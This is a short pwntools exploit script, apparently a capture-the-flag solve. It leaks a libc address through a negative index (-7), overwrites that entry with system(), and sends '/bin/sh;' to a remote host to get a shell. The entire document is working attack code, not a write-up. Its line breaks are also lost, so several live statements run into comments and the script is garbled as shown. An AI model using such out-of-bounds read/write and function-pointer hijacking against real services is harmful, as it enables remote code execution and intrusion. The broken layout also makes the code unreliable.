```python from pwn import *context.log_level='debug'
# p =process('./chall')p =remote('34.72.218.129','5555')elf = ELF('./chall')libc = ELF('./libc-2.27.so')
p.recvuntil(' break in ;)')
p.sendline('/bin/sh;')
# p.recvuntil('armour\n')p.sendline('2')p.recvuntil('index :\n')# gdb.attach(p,'b *0x8048781')p.sendline('-7')
libc.address = u32(p.recv(4))-libc.sym['printf']print hex(libc.address)
# p.recvuntil('armour\n')p.sendline('1')p.recvuntil('index :\n')# gdb.attach(p,'b *0x8048781')p.sendline('-7')p.recvuntil('data :\n')p.send(p32(libc.sym['system']))# gdb.attach(p)
# p.recvuntil('armour\n')p.sendline('3')
p.interactive()
```